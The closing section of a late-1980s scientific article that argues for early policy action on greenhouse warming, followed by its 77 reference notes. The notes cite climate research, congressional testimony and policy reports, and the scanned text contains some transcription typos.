If we choose to wait for more scientific certainty over details before preventive actions are initiated, then this is done at the risk of our having to adapt to a larger, faster occurring dose of greenhouse gases than if actions were initiated today. In my value system, high leverage, tie-in actions are long overdue. Of course, whether to act is not a scientific judgment, but a value-laden political choice that cannot be resolved by scientific methods.
Incentives for investments to improve energy efficiency, to develop less polluting alternatives, control methane emissions, or phase out CFCs may require policies that charge user fees on activities in proportion to the amount of pollution each generates. This strategy might differentially impact less developed nations, or segments of the population such as coal miners or the poor. Indeed, an equity problem is raised through such strategies. However, is it more appropriate to subsidize poverty, for example, through artificially lower prices of energy which distort the market and discourage efficient energy end use or alternative production, or is it better to fight poverty by direct economic aid? Perhaps targeting some fraction of an energy tax to help those immediately disadvantaged would improve the political tractability of any attempt to internalize the external costs of pollution not currently charged to energy production or end use. In any case, consideration of these political issues will be essential if global scale agreements are to be negotiated, and without global scale agreements, no nation acting alone can reduce global warming by more than 10% or so (73).
The bottom line of the implications of atmospheric change is that we are perturbing the environment at a faster rate than we can understand or predict the consequences. In 1957, Revelle and Suess (74) pointed out that we were undergoing a great "geophysical experiment." In the 30 years since that prophetic remark, CO2 levels have risen more than 10% in the atmosphere, and there have been even larger increases in the concentrations of methane and CFCs. The 1980s appear to have seen the warmest temperatures in the instrumental record, and 1988 saw a combination of dramatic circumstances that gained much media attention: extended heat waves across most of the United States, intense drought, forest fires in the West, an extremely intense hurricane, and flooding in Bangladesh. Indeed, many people interpreted (prematurely, I believe) these events in 1988 as proof that human augmentation to the greenhouse effect had finally arrived (75). Should the rapid warming in the instrumental record of the past 10 years continue into the 1990s, then a vast majority of atmospheric scientists will undoubtedly agree that the greenhouse signal has been felt. Unfortunately, if society chooses to wait another decade or more for certain proof, then this behavior raises the risk that we will have to adapt to a larger amount of climate change than if actions to slow down the buildup of greenhouse gases were pursued more vigorously today. At a minimum, we can enhance our interdisciplinary research efforts to reduce uncertainties in physical, biological, and social scientific areas (76). But I believe enough is known already to go beyond research and begin to implement policies to enhance adaptation and to slow down the rapid buildup of greenhouse gases, a buildup that poses a considerable probability of unprecedented global-scale climatic change within our lifetimes.
1. Department of Energy Undersecretary D. Fitzpatrick noted the many scientific issues still unresolved and said, ''These scientific uncertainties must be reduced before we commit the nation's economic future to drastic and potentially misplaced policy responses." As a witness at that hearing, I disagreed sharply, arguing that we should not "use platitudes about scientific uncertainty to evade the need to act now." See Congressional Record for 11 August 1988 (in press) for the full transcript; see also (la).
la.J. Hansen, testimony, 23 June 1988 to Senate Energy Committee. Hansen remarked that the greenhouse effect was "99%" likely to be associated with the recent temperature trends of the instrumental record.
2. Toward an Understanding of Global Change: Initial Priorities for U.S. Contributions to the International Geosphere-Biosphere Program (National Academy Press, Washington, DC, 1988).
3. J. F. Kasting, O. B. Toon, J. B. Pollack, Sci. Am. 257, 90 (February 1988).
4. S. H. Schneider, ibid. 256, 72 (May 1987).
5. J. Hansen and S. Lebedeff, Geophys. Res. Lett. 15, 323 (1988).
6. P. D. Jones and T. M. L. Wigley, personal communication (1988).
7. F. B. Wood, Climatic Change 12, 297 (1988); T. M. L. Wigley and P. D. Jones, ibid., p. 313; T. R. Karl, ibid., p. 179.
8. In September 1988, a "Climate Trends Workshop" was held at the U.S. Nattonal Academy of Sciences. One problem pointed out was at St. Helena, an island station in the Atlantic, which in the 1970s had a thermometer moved about 150 m down a mountain. T. Karl also pointed out that changes in the times of observations as well as urbanization effects have contaminated a number of U.S. records. He carried out a detailed analysis comparing rural and urban U.S. stations. Karl's comparison of his detailed U.S. record with that of the Climatic Research Unit showed that a spurious upward trend of 0.15deg.C had occurred and that J. Hansen and S. Lebedeff (5) had overestimated warming in the United States by 38deg.C; K. E. Trenberth, unpublished manuscript.
9. J. H. Ausubel, Climatic Change and the Carbon Wealth of Nations (International Institute for Applied Systems Analysis, Working Paper WP-80-75, Laxenburg, 1980); _____A. Grubler, N. Nakicenovic, Climatic Change 12, 245 (1988); Ausubel et al. argued that there may be long period variations in global economic behavior that could itfluence fossil fuel usage during the next several decades.
10. P. R. Ehrlich and J. P. Holdren, Science 171, 1212 (1971).
11. A. B. Lovins, L. H. Lovins, F. Krause, W. Bach, Least-Cost Energy: Solving the C02 Problem (Brick House, Andova, 1981).
12. W. Nordhaus and G. Yohe in Changing Climate, Report of the Carbon Dioxide Assessment Committee (National Academy Press, Washington, DC, 1983), pp. 87-153; J. A. Edmonds and J. Reilly, Energy J. 4, 21 (1984). These authors have suggested a wide range of plausible CO2 buildups into the 21st century. However, other authors have argued that societies could cost effectively limit CO2 emissions as part of a conscious strategy to stabilize climate by major policy initiatives to increase energy end use and production efficiency; for example, application of the Edmonds and Reilly economic model to the energy future of China was attempted by W. U. Chandler (Climatic Change 13, 241 (1988) which led to a debate over the appropriateness and applicability of that model to both supply and demand projections; B. Keepin, ibid., p. 233; J. A. Edmonds, ibid., p. 237.
12a.J. Goldemberg et al., Energy for Development (World Resources Institute, Washington, DC, 1987); I. N. Mintzer, A Matter of Degrees: The Potential for Controlling the Greenhouse Effect (World Resources Institute, Washington, DC, 1987); W. U. Chandler, H. S. Geller, N. R. Ledbetter, Energy Efficiency: A New Agenda (The American Council for an Energy-Efficient Economy, Washington, DC, 1988).
13. B. Bolin in The Greenhouse Effect, Climatic Change and Ecosystems, B. Bolin, B. R Doos, J Jaeger, R. A. Warrick, Eds. (Wiley, New York, 1986), pp. 93-155.
14. Analyses of CO2, CH4, and other atmospheric constituents have been made in Greenland [A Neftel, H. Oeschger, J. Schwander, B. Stouffer, R Zumbrunn, Nature 295, 220 (1982); J. Beer et al., Ann. Glaciol. 5, 16 (1984)] and in Antarctica [J. M. Barnola et al. (15); J. Jouzel, C. Lorius, J. Petit, C. Genthon, N. Barkhoff, V. Karolyoff, V. Petrov, Nature 329, 403 (1987)].
15. J. M. Barnola, D. Raynaud, Y. S. Korotkevich, C. Lorius, Nature 329,408 (1987).
16. A number of authors addressed the problem of the cause of the increase in CO2 at the end of the last glacial period some 10,000 to 15,000 years ago; E. T. Sundquist and W. S. Broecker, Eds., Thc Carbon Cycle and Atmospheric CO2: Natural Variations Archean to Present (American Geophysical Union, Washington, DC 1985)- F. Knox Ennever and M. B. McElroy in ibid., p. 154; T. Wenk and U. Siegenthaler, in ibid., p. 185. D. Erickson (personal communication) has suggested that CO2 may have been preferentially taken up by the oceans during the glacial age because of altered wind patterns [which he inferred from J. E. Kutzbach and P. J. Guetter, J. Atmos. Sci. 43,1726(1986)], which would have encouraged the uptake of CO2 in regions of undersaturation in the oceans. Other suggestions for the cause of the correlation bertween CO2 and temperature on geologic time scales involves alterations to terrestrial biota; L. Klinger [thesis, University of Colorado, Boulder (1988)] suggests that bogs with vast deposits of dead organic matter expanded during glacial times, storing much carbon as dead organic matter on land; later, during climatic warming and the retreat of ice, this dead organic matter was then able to reoxidize and cause CO2 buildup.
17. G. J. MacDonald, in Preparing for Climate Change, Proceedings of the First North American Conference on Preparing for Climatic Change: A Cooperative Approach, Washington, DC, 27 to 29 October (Government Institutes, Rockville, MD, 1988), pp. 108-117.
18. V. Ramanathan et al., J. Geophys. Res. 90, 5547 (1985).
19. P. Martin, N. J. Rosenberg, M. S. McKenney, Climatic Change, in press; F. I. Woodward, Nature 327, 617 (1987).
20. J. C. Bernabo and T. Webb III, Quat. Res. 8, 64 (1977); COHMAP Members, Science 241, 1043 (1988).
21. J. Pastor and W. M. Post, Nature 334, 55 (1988); W. R. Emanuel, H. H. Shugart, M. P. Stevenson, Climatic Change 7, 30 (1985); D. B. Botkin, R. A. Nisbet, T. E. Reynales, in preparation.
22. J. Firor, Climatic Change 12, 103 (1988); see also, L. D. D. Harvey, ibid., in press.
23. J. Goudriaan and P. Ketner, ibid. 6, 167 (1984). See also G. H. Kohlmaier, G. Kratz, H. Brohl, E. O. Sire, in Energy and Geological Modeling, W. J. Miitsch, R. W. Bosserman, J. M. Klopatek, Eds. (Elsevier, Amsterdam, 1981), pp. 57-68.
24. G. Woodwell, congressional testimony before the Senate Committee on Energy and Natural Resources, 23 June 1988 (Congr. Rec., in press). A number of other biological factors could affect the CO2 concentration through feedback processes. Some of these are suggested to be a substantial positive feedback, perhaps doubling the sensitivity of the climate to initial greenhouse injections according to D. A. Lashof (Climatic Change, in press).
25. R. Revelle in Changing Climate, Report of the Carbon Dioxide Assessment Committee (National Academy Press, Washington, DC, 1983), pp. 252-261.
26. Ice albedo temperature feedback was first introduced by M. I. Budyko [Tellus 21, 611 (1969)] and W. D. Sellers [J. Appl. Meteorol. 8, 392 (1969)]. See also S. H. Schneider and R. E. Dickinson [Rev. Geophys. Space Phys. 12, 447 (1974)] and G. R. North [J. Atmos. Sci. 32, 2033 (1975)], who treat the feedbacks in the contest of simple energy balance climate models. Modern general circulation models also obtain ice albedo temperature feedback.
27. M. Schlesinger and J. F. B. Mitchell [Rev. Geophys. 25, 760 (1987)] review the responses of different climate model to CO2 increases.
28. S. Manabe and R. T. Wetherald, J. Atmos. Sci. 24,241 (1967); ibid. 32,3 (1975); S. H. Schneider, J. Atmos. Sci. 29, 1413 (1972); _____W. M. Washington, R M. Chervin, J. Atmos. Sci. 35, 2207 (1978), J. E. Hansen and T. Takahashi, Eds., Climate Processes and Climate Sensitivity, Geophysical Monograph 29 (American Geophysical Union, Washington, DC, 1984). See also R. D. Cess, D. Hartman, V. Ramanathan, A. Berroir, G. E. Hunt, Rev. Geophys. 24, 439 (1986); V. Ramanathan et al., Science 243, 57 (1989).
29. A number of assessments in this decade have all reached the conclusion that increases in the CO2 concentration will almost certainly cause global warming. These indude National Academy of Sciences, Changing Climate, Report of the Carbon Dioxide Assessment Committee (National Academy Press, Washington, DC, 1983); (29a).
29a.W. C. Clark, Ed., Carbon Dioxide Review 1982 (Oxford Univ. Press, New York, 1982); G. I. Pearman, Ed., Greenhouse: Planning for Climate Change (Brill, Leiden, The Netherlands 1987), National Research Council Current Issues in Atmospheric Change (National Academy Press, Washington, DC, 1987).
30. B. Bolin, B. R. Doos, J. Jaeger, R A. Warrick, Eds., The Greenhouse Effect, Climatic Change and Ecosystems (Wiley, New York, 1986).
31. However, M. I. Budyko, A B. Ronov, and A. L. Yanhin [History ofthe Earth's Atmosphere (Springer-Verlag, Berlin, 1987), p. 92] suggest that there is a direct association between past atmospheric temperature and CO2 content. They suggest that previos CO2 concentrations of 600 ppm had warmed the globe by 3deg.C relative to today. However, the uncertainties in these values are at least a few degrees Celsius in Earth's temperature or a factor of 2 in CO2 content; see S. H. Schneider and R. Londa, The Coevolution of Climate and Life (Sierra Club, San Francisco, 1984), pp. 240-246; R A. Berner, A. C. Lasaga, R. M. Garrels, Am. J. Sci. 283, 641 (1983)-see E. Barron and W. M. Washington [in E. T. Sundquist and W. S. Brocker, Eds., The Carbon Cycle and Atmospheric CO2 Natural Variations Archean to Present (American Geophysical Union, Washington, DC, 1985), pp. 546-553] for discussions of paleo-CO2 concentrations and climate change.
32. W. M. Washington and C. L. Parkinson, An Introduction to Three-Dimensional Climate Modeling (University Science, Mill Valley, CA, 1986).
33. R. E. Dickinson, in (30), pp.207-270; J. Jaeger, Developing Policies for Responding to Climatic Change, A Summary of the Discussions and Recommendations of the Workshops Held in Villath 28 September to 2 October 1987 (WCIP-I, WMO/TD-No. 225, April 1988). Although equilibrium warmings much greater than 5deg.C or less than 1.5deg.C (or perhaps even less than 0deg.C) cannot be ruled out entirely were CO2 to double from human activities, these possibilities are very unlikely (especially CO2-induced global cooling during the next century). See S. H. Schneider [Global Warming (Sierra Club Books, San Francisco, in press)] for a discussion of why the cooling scenario is improbable.
34. S. Manabe and R Wetherald, Science 232, 626 (1986).
35. R. E. Dickinson, Ed., The Geophysiology of Amazonia: Vegetation and Climate Interataons (Wiley, New York, 1987).
36. S. H. Schneider and S. L. Thompson,J. Geophys. Res. 86, 3135 (1981).
37. On century time scales, changes of a few degrees Celsius per centyury appear to have occurred. One such example, the so called Younger Dryas glacial readvance, had a major ecological impact in Europe (4). Changes of up to 1deg.C per century may also have occurred this millennium, but the rate of change did not yet approach the several degree Celsius change estimated for the 21st centuty.
38. K. Bryan et al., Science 215, 56 (1982); S. L. Thompson and S. H. Schneider, ibid. 217, 1031 (1982), K. Bryan, S. Manabe, M. J. Spelman,J. Phys. Oceanog. 18, 851 (1988); W. M. Washington and G. A. Meehl, Climate Dynam., in press.
39. S. Manabe and R J. Stouffer,J. Geophys. Res. 85, 5529 (1980).
40. C. A. Wilson and J. F. B. Mitchell, Climatic Change 10, 11 (1987); L. O. Mearns et al. in preparation; Environmental Ptotection Agency, The Potential Effects of Global Climate Change on the United States: Report to Congress (National Studies, Washington, DC, 1988). voL 2, chap. 17; D. Rind et al., Climate Change, in press.
41. J. E. Kutzbach and F. A. Street-Perrott Nature 317,130 (1985); E. Barron and W. Washington J. Geophys. Res. 89, 1267 (1984); D. Rind and D. Peteet, Quan Res. 24, 1 (1985); see (4) for a review.
42. S. H. Schneider and C. Mass, Science 190, 741 (1975); R A. Bryson and G. J. Dittberner, J. Atmos. Sci. 33, 2094 (1976); J. Hansen, et al., Science 213, 957 (1981)-R L. Gilliland, Climate Change 4, 111 (1982).
43. This list is expanded from that given in R L. Gilliland and S. H. Schneider, Nature 310, 38 (1984).
44. K Hasselmann, Tellus 28, 473 (1976); H. Dalfes, S. H. Schneider, S. L. Thompson, J. Atmos. Sci. 40, 1648 (1983).
45. E. N. Lorenz, Meteorol. Monogr. 8, 1 (1968).
46. Studies of the adaptation of various sectors of society to past climatic variability can serve as a guide that helps to calibrate how societies might be impacted by specific greenhouse gas-induced climatic changes in the future, such studies include R. Kates, J. Ausubel, M. Berberian, Eds., Climate Impact Assessment, SCOPE 27 (Wiley, New York, 1985); T. K. Rabb, in R S. Chen, E. M. Boulding, S. H. Schneider, Eds., Social Science Research and Climate Change: An Interdisciplinary Appraisal (Reidel, Dordrecht, Netherlands, 1983), pp. 61--70.
47. M. H. Glantz, Ed., Societal Responses to Regional Climatic Change (Westview, Boulder, 1988).
48. H. E. Schwarz and L. A. Dillard, in (48a).
48a. P. E. Waggoner, Ed., Climate Change and U.S. Water Resources (Wiley, New York, in press).
49. Climate, Climatic Change, and Water Supply, Studies in Geophysics (National Academy of Sciences, Washington, DC 1977); M. P. Farrell, Ed., Master Index for the Carbon Dioxide Research State-of-the-Art Report Series, (U.S. Department of Energy, Washington, DC, 1987); J. I. Hanchey, K. E. Schilling, E. Z. Stakhiv, in Preparing.for Climate Change, Proceedings of the First North American Conference on Preparing.for Climate Change: A Cooperative Approach, Washington, DC, 27 to 29 October 1988 (Government Institutes, Rockville, MD, 1988), pp. 394-405; M. L. Parry, Ed., Climatic Change 7, 1 (1985).
50. W. H. Weihe, in Proceedings of the World Climate Conference (World Meteorological Organization, Geneva, 1979).
50a. A. Dobson, in Proceedings of Conference on the Consequences of the Effect for Biological Diversity, R Peters, Ed. (Yale Univ. Press, New Haven, in press).
51. N. Myers, The Sinking Ark (Pergamon, New York, 1979); see also J. Gradwohl and R Greenberg, Saving the Tropical Forests (Island Press, Washington, DC, 1988).
52. R. H. MacArthur and E. O. Wilson, The Theory of Island Biogeography (Princeton Univ. Press, Princeton, NJ, 1967); R L. Peters and J. D. Darling, Bioscience 35, 707 (1985); T. E.Lovejoy, in The Global 2000 Report to the President: Entering the 21st Century, Council on the Environmental Quality and the Department of State (U.S. Government Printing of Offices, Washington, DC, 1980, p. 328-331).
53. P. H. Gleick, in (48a).
54. D. F. Peterson and A. A. Keller, in (48a).
55. G. de Q. Robin in (30); M. F. Meier et al., Glaciers, Ice Sheets, and Sea Level (National Academy of Sciences, Washington, DC, 1985). Sea Level rises greater than 1.5 m and less than 0.5 m, perhaps even sea level falls, could also occur in the next 50 to 100 years, although most analysts give these extremes low probabilities. Should a much more rapid disintegration of the West Antarctic Ice Sheet than now envisioned occur, sea levels would rise substantially because this glacier has aboveground ice sufficient to raise sea level by @5 m. On the other hand, because a warming of Antarctica would almost certainly increase snowfall without raising temperatures sufficiently to create summer melt a doubling of thc snowfall over Antarcrica could lower sea level perhaps as much as 1 mm per year. Of course, such a change would require that the calving rate in Antarctica does not increase. The same would have to apply for the melting and calving in Greenland, an ice sheet which, unlike Antarctica, has substantial melting at lower altitudes and low-latitude flanks. However, thc principal factor responsible for the "most probable" estimate of 0.5- to 1.5-m sea level rise is the assumption that some mountain glaciers will disapear while, at the same time, several degrees Celsius warming of the oceans will, through thc direct process of thermal expansion (which is several times greater in warm water than cold water), lead to an inexorable increase in ocean volume and rise of the sea level. A rise of sea level seems highly probable, whereas disintegration of the West Antarctic Ice Sheet or snow accumulation in each Antarcica are much more speculative, and such changes will in any case, occur more slowly in response to climate change. Sea level rise only exacerbates the likelihood of catastrophic storm surges especially if warming increases hurricane intensity; K. A. Emanuel, Nature 326, 483 (1987).
56. G. P. Hekstra, in Proceedings of Controlling and Adapting to Greenhouse Warming (Resources for the Future, Washington, DC, in press); M. C. Barth and J. G. Titus, Eds., Greenhouse Effects and Sea Level Rise: A Challenge for this Generation (Van Nostrand, Reinhold, New York, 1984). The Environmental Protection Agency (EPA), in a comprehensive study of potential scenarios of climate change for the United States (57), concluded that building of bulkheads and levies, pumping sand, and raising barrier islands to protect areas against a l-m rise in sea level by 2100 would cost $73 billion to $100 billion (cumulative capital costs in 1985 dollars). In contrast, elavating beaches, houses, land, and roadways by the year 2100 would cost $50 billion to $75 billion (cumulative capital costs in 1985 dollars) [(57), chap. 9].
57. J. B. Smith and D. Tirpak, Eds., The Potential Effects of a Global Climate Change on the United States Draft Report to Congress (Environmental Protection Agency, Washington, DC, October 1988) vol. 2, chap. 9.
58. M. Parry, W. Easterling, P. Crosson, N. Rosenberg, RESOURCES for the future Conference Proceedings, in press; The scenario with the Geophysical Fluid Dynamics Laboratory computer model for soil drying is more severe in central North America than that for other models, such as the Goddard Institute for Space Studies. The agricultural consequences of a number of model scenarios including hypothetical increases in yield resulting from direct CO2 fertilization and decreases due to heat stress or drought stress are assessed in (57). Although no general rules for any crop or region could be deterrnined from the EPA analysis (chap. 10), crop yield changes from a few tens of percent advantages to 50% reductions were obtained. At a minimum, one robust conclusion could be drawn: climate changes of the magnitudes projected in most GCM results for the middle to the late part of the next century certainly will cause major redistribution of cropping zones and farming practiccs.
59. R S. Chen, E. M. Boulding, S. H. Schneider, Eds., Social Science Research and Climate Change: An Interdisciplinary Apraisal (Reidel, Dordrecht, Netherlands, 1983); The Environmental Protection Agency report (57) is the most comprehensive analysis of potential impacts and adaptive strategies and costs, although it was restricted to the United States, and at that, only half a dozen or so regions.
60. M. I. Budyko, Climatic Changes (Hydrometeorological Publishers, Leningrad, 1974) (in Russian)-C. Marchetti, Climae Change 1, 59 (1977).
61. S. H. Schneider and L. E. Mesirow, Thc Genesis Strategy: Climate and Global Survival (Plenum, New York, 1976), chap. 7, p. 215.
62. W. W. Kellogg and S. H. Schneider, Science 186, 1163 (1974).
63. K. Meyer-Abich, Climatic Change 2,373 (1980); L. B. Lave, International Institute for Applied Systems Analysis IIASA Rep. CP-81-14 (1981), p. Vi; T. Schelling, in Changing Climate Report of the Carbon Dioxide Assessment Committee (National Academy Press, Washington, DC 1983), p. 449.
64. S. H. Schneider and S. L. Thompson [in The Global Possible: Resources Development and the New Century, R Repetto, Ed. (Yale Univ. Press, New Haven, 1985), p. 397] call this "anticipatory adaptation".
65. Much of the decision as to whether it is cost effective to wait or act against potential threats depends upon the discount rate used to value potential future losses. For example, S. H. Schneider and R S. Chen [Annu. Rev. Energy 5 107 (1980)] described how damage from a sea level rise of 8 m could cost about 1 trillion 1980 dollars some 150 years in the future. As a discount rate of 7% per year, which implies a doubling of an economic investment every 10 years, this hypothesized trillion dollar loss 150 years hence would only be "worth" some $33 million today, less than the value of a single power plant. Although an 8-m rise now seems a low probability, the discounting example remains instructive.
66. In the example of water supplies and climatic change, most of the local policy decisions facing urban water engineers or rural irrigation planners would be easiest to face if we had more credible specific regional forecasts of temperature and precipitation changes (48). However, regional details are the most difficult variables to predict credibly. Thus, strategies to build flexibility in adapting to changing climate statistics seem appropriate for local or regional water supply planning. Because of uncertainty over details, an individual planner in a region may face difficulty in choosing exactly how to respond to the advent or prospect of rapid climate change. But this should not necessarily deter strategic hedging at national or international levels. In other words, most local or regional water supply planners would not welcome the prospect of rapidly changing climate. Therefore, most planners would hold that if the rate of climate change could be slowed down and time bought to study the outcomes and to adapt more cheaply than this would be an appropriate recommended national-level strategic response.
67. W. W. Kellogg and M. Mead, The Atmosphere: Endangered and Endangering (U.S. Department of Health, Education and Welfare, Washington, DC, 1975).
68. Conference statement, Thc Changing Atmosphere: Implications for Global Security, Toronto, Ontario, Canada, 27 to 30 June 1988 (Environment Canada, Toronto, 1988). The report noted that the "first steps in developing international law and practices to address pollution of the air have already been taken. Several examples are cited in it, in particular the Vienna Convention for the Protection of the Ozone, Air, and Its Montreal Protocol signed in 1987. The report states that "These are important first steps and should be activly implemented and respected by all nations. However, there is no overall convention constituting a comprehensive international framework that could address the interrelated problems of the global atmosphere, or that is directed toward the issues of climate change". It set forth a far-reaching action plan that would have major implications for government, industry, and populations. This report follows on the heels of the United Nations Commission on Environment and Development, known as the Brundand Commission Report, which argued that environment, development, and security should not be treated as separate issues, but rather as connected problems.
69. W. S. Broecker, testimony for U.S. Senate Subcommittee on Environmental Protection, 28 January 1987.
70. It is important to ask how long it might take the scientific community to be able to provide more credible time-evolving regional climatic anomaly forecasts from increasing greenhouse gases; S. H. Schneider, P. H. Gleick, L. Mearns in (49); Schneider et al. suggested that it will be at least 10 years and probably several decades before the current level of scientific effort can provide a widespread consensus on these details. The reason such time is needed at current levels of effort is that providing credible regional details will require the coupling of high resolution atmosphere, ocean, and sea ice models with ecological models that provide accurate fluxes of energy and water between atmosphere and land as well as nutrient cycling and chemical transformations that account for trace greenhouse gas buildup over time. A dedicated effort to accelerate thc rate of progress could conceivably speed up the establishment of a consensus on regional issues, but at best 10 years or so will be necessary even with a dramatic effort. However, such efforts would clearly put future decision making on a firmer factual basis and help to make adaptation strategies more effective sooner.
71. The "tie-in" strategy was first formulated by E. Boulding, et al. [in Carbon Dioxide Effects, Research and Assessment Program: Workshop on Environmental and Societal Consequences of a Possible CO2-induced Climatic Change, Report 009, CONF-7904143, U.S. Department of Energy (Government Printing Office, Washington, DC, October 1980), pp. 79-103], it was later adopted by W. W. Kellogg and R. Schware, Climate Change and Society, Consequences of Increasing Atmospheric Carbon Dioxide (Westview Press, Boulder, CO, 1981).
72. S. H. Schneider and S. L. Thompson, in The Global Possible: Resources, Development and the New Century, R. Repetto, Ed., (Yale Univ. Press, New Haven, 1985), pp. 397-430.
73. J. A. Edmonds, W. B. Ashton, H. C. Cheng, and M. Stemberg (in preparation) have calculated that the U.S. contributes some 5% of CO2 emissions, but this fraction could drop significantly if it holds emissions growth while other nations with large populations try to catch up with U.S. per capita energy use standards.
74. R. Revelle and H. Suess, Tellus 9, 18 (1957).
75. K. B. Trenberth, G. W. Branstator, P. A. Arkin, Science 242,1640 (1988); S. H. Schneider, Climatic Change 13, 113 (1988). Clearly, one hot year can no more prove that the greenhouse effect has been detected in the record any more than a few cold ones could disprove it. The 1990s, should they see a continuation of the sharp warming trend of the 1980s, will undoubtedly lead many more scientists to predict confidently that the increase in trace greenhouse gases has caused direct and clearly detectable climatic change. Already a few scientists are satisfied that the effects are 99% detectable in the record. J. Hansen (la); see also, J. N. Wilford New York Times, 23 August 1988, p. C4.
76. Toward an Understanding of Global Change, Initial Priorities for U.S. Contributions to the International Geosphere-Biosphere Program (National Academy Press, Washington, DC, 1988); S. H. Schneider, Issues Sci. Technol. IV (no. 3),93 (1988).
77. I thank J. Ausubel, G. J. MacDonald and two anonymous reviewers for useful comments on the first draft. I also thank S. Mikkelson for efficient word processing and correcting several drafts of the manuscript very quickly. The National Center for Atmospheric Research is sponsored by the National Science Foundation. Any opinions, findings, conclusions, or recommendations expressed in this article are those of the author and do not necessarily reflect the views of the National Science Foundation. | <urn:uuid:816aa8b3-ad3f-4008-9ce8-beeb2d3d1580> | http://www.ciesin.columbia.edu/docs/003-074/003-074.html | en | 0.918386 | 0.026812 | mlfoundations/dclm-baseline-1.0-parquet |